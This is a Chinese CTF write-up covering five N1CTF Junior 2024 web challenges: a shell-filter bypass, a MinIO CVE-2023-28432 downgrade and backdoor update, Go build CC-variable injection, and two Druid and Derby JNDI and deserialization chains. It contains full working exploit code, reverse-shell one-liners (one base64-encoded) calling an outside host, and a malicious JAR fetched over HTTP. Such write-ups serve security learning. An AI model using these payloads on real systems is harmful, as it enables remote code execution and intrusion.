February 5, 2024

2024 N1CTF Junior Web Writeup

名称/排名情况

Boogipop: Rank 1
image.png
也是比较意外拿了个第一,各个题目都做的挺顺利(因为有hint

zako

虽然是个签到题,但这确实是我做的最久的题了
emmmmm,这个wp也就只有审核可以看到了,这里就说一下我蠢到极致的解法吧,首先我们可以获取execute.sh的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash

reject() {
echo "${1}"
exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
deny="`;&$(){}[]!@#$%^&*-";
for (i = 1; i <= length(str); i++) {
char = substr(str, i, 1);

for (x = 1; x < length(deny) + 1; x++) {
r = substr(deny, x, 1);
if (char == r) exit 1;
}
}
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼杂鱼";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num = 1;
for (i = 1; i <= NF; i++) {
for (x = 1; x <= length(allows); x++) {
cmpstr = substr($i, 1, length(allows[x]));
if (cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}
END {
for (i = 1; i <= length(eval_cmd); i++) {
if (i != 1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}

这是一个sh脚本,其实所做的内容也很简单,设置了11个白名单
其实有用的也就3个wc、ls、grep

其次还设置了一个shell环境下的黑名单deny=";&$(){}[]!@#$%^&*-“;,过滤了一些特殊字符。源码没了,感谢@蒋十七`师傅的源码提供,阿里嘎多。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

我们可以使用ls指令查看当前所有文件。
image.png
并且可以使用grep 进行文件读取
image.png
当然flag是不可能被读出来的,接下里就是我的铸币解法了。先说一下思路,我认为这道题php有waf1,shell中有waf2,硬绕waf1 2我觉得我是不行,但是但凡少其中一个waf我都可以做出来,因此想法油然而生了。
我要将如下内容写入pop.php

1
2
3
4
<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>

这样我就可以避免外层waf了。实现起来也很简单,依次进行如下操作

然后读取一下pop.php的内容。
image.png
好了大功告成,那么最后的payload就是
?.[secret.xswl.io=ls';cat /flag'
image.png

ezminio

还好最后一小时放了hint,不然到死都没想到这个思路,其实我感觉这个思路很不,Lolita师傅太强拉
CVE-2023-28432
https://github.com/AbelChe/evil_minio
这是去年三月份出的漏洞,原理就是minio 信息泄露拿到管理员账号密码,进而可以自更新rce。但是利用有个前提条件,那就是不能在环境变量配置minisignPubKey,否则会进入verifyBinary检查sha256。那么就不可以自更新rce了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const (
// Update this whenever the official minisign pubkey is rotated.
defaultMinisignPubkey = "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
)

func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo, mode string, reader io.Reader) (err error) {
if !updateInProgress.CompareAndSwap(0, 1) {
return errors.New("update already in progress")
}
defer updateInProgress.Store(0)

transport := getUpdateTransport(30 * time.Second)
opts := selfupdate.Options{
Hash: crypto.SHA256,
Checksum: sha256Sum,
}

if err := opts.CheckPermissions(); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
StatusCode: http.StatusInternalServerError,
}
}

minisignPubkey := env.Get(envMinisignPubKey, defaultMinisignPubkey)
if minisignPubkey != "" {
v := selfupdate.NewVerifier()
u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
StatusCode: http.StatusInternalServerError,
}
}
opts.Verifier = v
}

if err = selfupdate.PrepareAndCheckBinary(reader, opts); err != nil {
var pathErr *os.PathError
if errors.As(err, &pathErr) {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("Unable to update the binary at %s: %v",
filepath.Dir(pathErr.Path), pathErr.Err),
StatusCode: http.StatusForbidden,
}
}
return AdminError{
Code: AdminUpdateApplyFailure,
Message: err.Error(),
StatusCode: http.StatusInternalServerError,
}
}

return nil
}

这是题目版本对应的verifyBinary函数逻辑,可以看到传入了一个publickey进行校验。并且publickey怎么样都是有个值的。
这导致我们无法自更新二开后的minio 二进制文件。那怎么办呢?
这里其实就引入了一个二次思维,我们先将版本退化为不需要校验publickey的版本,然后再上传我们的evil_minio,这样就可以绕过这个机制了
这是2023-2月版本的verrifyBinary方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
func verifyBinary(u *url.URL, sha256Sum []byte, releaseInfo string, mode string, reader []byte) (err error) {
if !atomic.CompareAndSwapUint32(&updateInProgress, 0, 1) {
return errors.New("update already in progress")
}
defer atomic.StoreUint32(&updateInProgress, 0)

transport := getUpdateTransport(30 * time.Second)
opts := selfupdate.Options{
Hash: crypto.SHA256,
Checksum: sha256Sum,
}

if err := opts.CheckPermissions(); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("server update failed with: %s, do not restart the servers yet", err),
StatusCode: http.StatusInternalServerError,
}
}

minisignPubkey := env.Get(envMinisignPubKey, "")
if minisignPubkey != "" {
v := selfupdate.NewVerifier()
u.Path = path.Dir(u.Path) + slashSeparator + releaseInfo + ".minisig"
if err = v.LoadFromURL(u.String(), minisignPubkey, transport); err != nil {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("signature loading failed for %v with %v", u, err),
StatusCode: http.StatusInternalServerError,
}
}
opts.Verifier = v
}

if err = selfupdate.PrepareAndCheckBinary(bytes.NewReader(reader), opts); err != nil {
var pathErr *os.PathError
if errors.As(err, &pathErr) {
return AdminError{
Code: AdminUpdateApplyFailure,
Message: fmt.Sprintf("Unable to update the binary at %s: %v",
filepath.Dir(pathErr.Path), pathErr.Err),
StatusCode: http.StatusForbidden,
}
}
return AdminError{
Code: AdminUpdateApplyFailure,
Message: err.Error(),
StatusCode: http.StatusInternalServerError,
}
}

return nil
}

在这里假如环境变量中没有配置publickey那么就默认为空,也就绕过了判断。这就符合我们的条件了。在题目环境中环境变量是没配置publickey的,不然也打不了。
题目给的是内网9000端口映射出的服务
http://47.112.112.23:23333
我们利用mc 管理工具将其添加进我们的host
mc config host add minio [http://47.112.112.23:23333](http://47.112.112.23:23333) minioadmin minioadmin
目标是默认密码和用户名,权限也是admin,有自更新权限,首先是降级处理。这里我选用的版本是[minio.RELEASE.2023-02-10T18-48-39Z](https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2023-02-10T18-48-39Z)
https://dl.min.io/server/minio/release/linux-amd64/archive/
image.png
我们需要这三个文件,下载下来后先给他改个名字,自更新判断的是sha256sum文件的第二个字段。
image.png
假如这个字段的版本小于服务器当前的版本,那么就不会自更新,所以我们随便将其改为另一个名字minio.RELEASE.2024-01-15T18-25-24Z,并且将sha256sum文件以及内容也改为如上的名字,之后我们就可以开启自更新了。
mc admin update minio [http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum](http://8.134.166.14:8887/minio.RELEASE.2024-01-15T18-25-24Z.sha256sum) -y
等待大概四分钟,我们就可以看到更新成功。(我服务器是真屎啊,95M传四分钟)
image.png
image.png
接下来我们该做的就是二次更新替换为evil_minio
编译该项目即可https://github.com/AbelChe/evil_minio
然后也是一样的处理,修改名字为超过当前版本的版本即可。这个可以不需要minisig文件,因为绕过了verifyBinary。
mc admin update minio [http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum](http://8.134.166.14:8886/minio.RELEASE.2024-01-16T18-25-24Z.sha256sum) -y
同样也是等待四分钟
image.png
image.png
最后输入全局后门alive获取flag即可。
image.png

MyGo

MyGO!
给了源码分析一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
"embed"
"fmt"
"github.com/gin-gonic/gin"
"net/http"
"os"
"os/exec"
)

//go:embed public/*
var fs embed.FS

func IndexHandler(c *gin.Context) {
c.FileFromFS("public/", http.FS(fs))
}

func BuildHandler(c *gin.Context) {
var req map[string]interface{}

if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusOK, gin.H{"error": "Invalid request"})
return
}

if !PathExists("/tmp/build/") {
os.Mkdir("/tmp/build/", 0755)
}

defer os.Remove("/tmp/build/main.go")
defer os.Remove("/tmp/build/main")

os.Chdir("/tmp/build/")
os.WriteFile("main.go", []byte(req["code"].(string)), 0644)
var env []string

for k, v := range req["env"].(map[string]interface{}) {
env = append(env, fmt.Sprintf("%s=%s", k, v))
}

cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)

if err := cmd.Run(); err != nil {
c.JSON(http.StatusOK, gin.H{"error": "Build error"})
} else {
c.File("/tmp/build/main")
}
}

func PathExists(p string) bool {
_, err := os.Stat(p)
if err == nil {
return true
}
if os.IsNotExist(err) {
return false
}
return false
}

func main() {
r := gin.Default()
r.GET("/", IndexHandler)
r.POST("/build", BuildHandler)
r.Run(":8000")
}

作用就是一个编译平台,你输入一个code,他就会帮你build,在这个过程中我们可控的东西只有environment变量,那么我们科学上网的时间就到了。
https://pkg.go.dev/cmd/go#hdr-Environment_variables
image.png
我找到了个好玩的变量,那就是CC,这个东西是一个指令,我们可以看看本地
image.png
可以发现CC=gcc,这段代码触发的场合如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

// typedef int (*intFunc) ();
//
// int
// bridge_int_func(intFunc f)
// {
// return f();
// }
//
// int fortytwo()
// {
// return 42;
// }
import "C"
import "fmt"

func main() {
f := C.intFunc(C.fortytwo)
fmt.Println(int(C.bridge_int_func(f)))
// Output: 42
}

注释中的C代码会被gcc进行编译。我们可以这样测试export CC=whoami
image.png
你将会看到一段抛错
image.png
那就是gcc被我们改成了whoami,自然就报错了,我们这里就是一个命令注入的点位了。
我们export CC='bash -c "bash -i >& /dev/tcp/8.130.24.188/7775 <&1"'
image.png
image.png
即可完成注入获取flag。最终payload数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /build HTTP/1.1
Host: 121.199.64.23:25480
Content-Length: 443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://121.199.64.23:25480
Referer: http://121.199.64.23:25480/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c \"bash -i >& /dev/tcp/8.130.24.188/7775 <&1\"",
"GOGCCFLAGS":""},"code":"package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"}

Derby

Derby + Druid 高版本 JNDI JDBC Attack
又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public IndexController() {
}

@RequestMapping({"/"})
public String index() {
return "hello derby";
}

@RequestMapping({"/lookup"})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return "ok";
}
}

很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();

for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}

return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}

在这里有一个createDataSourceInternal操作
image.png
在这个config方法最后会调用init方法
image.png
在这里会有createPhysicalConnection方法
image.png
最终在里面发起了JDBC连接。
image.png
这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
image.png
而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

1
2
3
4
5
6
7
8
9
10
11
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

那么最终poc就如下了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.javasec.pocs.solutions.n1junior;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
public static void main(String[] args) {
try{
//Registry registry = LocateRegistry.getRegistry(8883);
Registry registry = LocateRegistry.createRegistry(8883);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:derby:dbname;create=true";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

registry.bind("pop",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}
}
}

制作恶意jar包如下

1
2
3
4
5
6
7
import java.io.IOException;

public class testShell4 {
public static void exec() throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
}
}

最后可以看到反弹shell
image.png
image.png

Derby Plus

Druiddatasource getter gadgets + JDBC Attack
入口点变成了反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.derbyplus;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public IndexController() {
}

@RequestMapping({"/"})
public String index() {
return "hello derby plus";
}

@RequestMapping({"/deserialize"})
public String deserialize(@RequestBody String body) throws Exception {
byte[] data = Base64.getDecoder().decode(body);
ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));

try {
input.readObject();
} catch (Throwable var7) {
try {
input.close();
} catch (Throwable var6) {
var7.addSuppressed(var6);
}

throw var7;
}

input.close();
return "ok";
}
}

并且给了cb依赖
image.png
已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了
DruidDataSource#getConnection
image.png
并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package org.example;

import com.alibaba.druid.pool.DruidDataSource;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class DerbyPlusExp {
public static void main(String[] args) throws Exception {
final ArrayList<Class> classes = new ArrayList<>();
classes.add(Class.forName("java.lang.reflect.Field"));
classes.add(Class.forName("java.lang.reflect.Method"));
classes.add(Class.forName("java.util.HashMap"));
classes.add(Class.forName("java.util.Properties"));
classes.add(Class.forName("java.util.PriorityQueue"));
classes.add(Class.forName("org.apache.commons.beanutils.BeanComparator"));
classes.add(Class.forName("com.alibaba.druid.pool.DruidDataSource"));
new DerbyPlusExp().bypassModule(classes);
DruidDataSource druidDataSource = new DruidDataSource();
druidDataSource.setUrl("jdbc:derby:dbname;create=true");
druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
druidDataSource.setInitialSize(1);
StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
Class unsafeClass = Class.forName("sun.misc.Unsafe");
//bypass PriorityQueue对druidDataSource的module限制,因为存在调用
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = druidDataSource.getClass().getModule();
Class currentClass = PriorityQueue.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.putObject(currentClass, offset, baseModule);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("2");
setFieldValue(comparator, "property", "connection");
setFieldValue(druidDataSource,"logWriter",null);
setFieldValue(druidDataSource,"statLogger",null);
setFieldValue(druidDataSource,"transactionHistogram",null);
setFieldValue(druidDataSource,"initedLatch",null);
setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
String s = base64serial(queue);
s.replace("+","%2b");
System.out.println(s);
deserTester(queue);
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static void deserTester(Object o) throws Exception {
base64deserial(base64serial(o));
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
if(field != null) {
field.set(obj, value);
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static void base64deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}
}

环境是JDK17,注意一下payload生成。
image.png
image.png
这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。

总结

这一次的N1 Junior的题大部分都有个共同性,就是二次思维,也就是单次Attack无法达到利用,那就double attack。Respect

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp